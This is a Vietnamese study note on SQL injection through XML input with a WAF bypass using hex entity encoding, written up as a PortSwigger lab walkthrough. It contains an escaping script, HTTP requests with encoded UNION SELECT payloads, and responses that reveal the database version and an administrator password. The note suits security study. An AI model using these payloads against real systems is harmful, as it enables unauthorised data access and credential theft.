Ngoài việc sử dụng query string hoặc cookie để inject payload, chúng ta cũng có thể sử dụng các input khác để inject. Ví dụ, một số ứng dụng nhận vào JSON hoặc XML và sử dụng để truy vấn trong database.

Những định dạng dữ liệu này có thể dùng các biện pháp bảo vệ chẳng hạn như WAF (Web Application Firewall). Nếu các biện pháp bảo vệ đó chỉ sanitize các SQL keyword (SELECT, FROM, WHERE, …) thì chúng ta có thể bypass bằng cách encode hoặc escape ký tự. Ví dụ bên dưới sử dụng XML escape sequence1 cho ký tự S trong mệnh đề SELECT:

<stockCheck>
    <productId>123</productId>
    <storeId>999 &#x53;ELECT * FROM information_schema.tables</storeId>
</stockCheck>

Định dạng của ký tự được escape được gọi là HTML entity, có dạng &#nnnn; (với nnnn là codepoint hệ thập phân) hoặc &#hhhh; (hhhh là codepoint hệ thập lục phân có tiền tố 0x ở trước). Codepoint sẽ theo tiêu chuẩn ISO/IEC 8859-2, ví dụ: ký tự a sẽ là &#x61;.

Có thể dùng script sau để escape theo hệ thập lục phân:

def escape_to_hex(text):
    escaped_text = ''.join('&#x{:02x};'.format(ord(char)) for char in text)
    return escaped_text
 
escaped_text = escape_to_hex(input("Type input: "))
print(escaped_text)

Tip

Cũng có thể dùng extension Hackvertor của Burp Suite (dec_entities/hex_entities) hoặc tool HTML entity encoder/decoder (mothereff.in) để escape.

Lab: SQL Injection with Filter Bypass via XML Encoding

Lỗ hổng tồn tại ở tính năng kiểm tra tồn hàng.

Request có dạng như sau:

POST /product/stock HTTP/2
Host: 0a8100d104513783809280f4000300d4.web-security-academy.net
Cookie: session=4UIMPRXzZJ7bZjIbSb97wVEmDFhJ2q64
Content-Length: 107
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Content-Type: application/xml
Accept: */*
Origin: https://0a8100d104513783809280f4000300d4.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a8100d104513783809280f4000300d4.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Response có dạng như sau:

HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 9
 
621 units

Do ứng dụng có sử dụng WAF nên việc dùng các từ khóa của SQL sẽ bị phát hiện.

Sử dụng extension Hackvertor, ta build payload như sau:

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId><@hex_entities>1 order by 1--<@/hex_entities></productId><storeId>2</storeId></stockCheck>

Response trả về có sự thay đổi:

HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 29
 
203 units
621 units
847 units

Thử truy vấn version:

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId><@hex_entities>1 union select version()--<@/hex_entities></productId><storeId>2</storeId></stockCheck>

Response cho ta biết database là Postgres:

HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 164
 
621 units
PostgreSQL 12.17 (Ubuntu 12.17-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit
847 units
203 units

Tìm password của administrator:

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId><@hex_entities>1 union select password from users where username = 'administrator'--<@/hex_entities></productId><storeId>2</storeId></stockCheck>

Thu được password trong response như sau:

HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 50
 
847 units
203 units
xq2wzshglkj1hugzo373
621 units
list
from outgoing([[Port Swigger - SQL Injection in Different Contexts]])
sort file.ctime asc

Resources

Footnotes

  1. xem thêm Character encodings in HTML - Wikipedia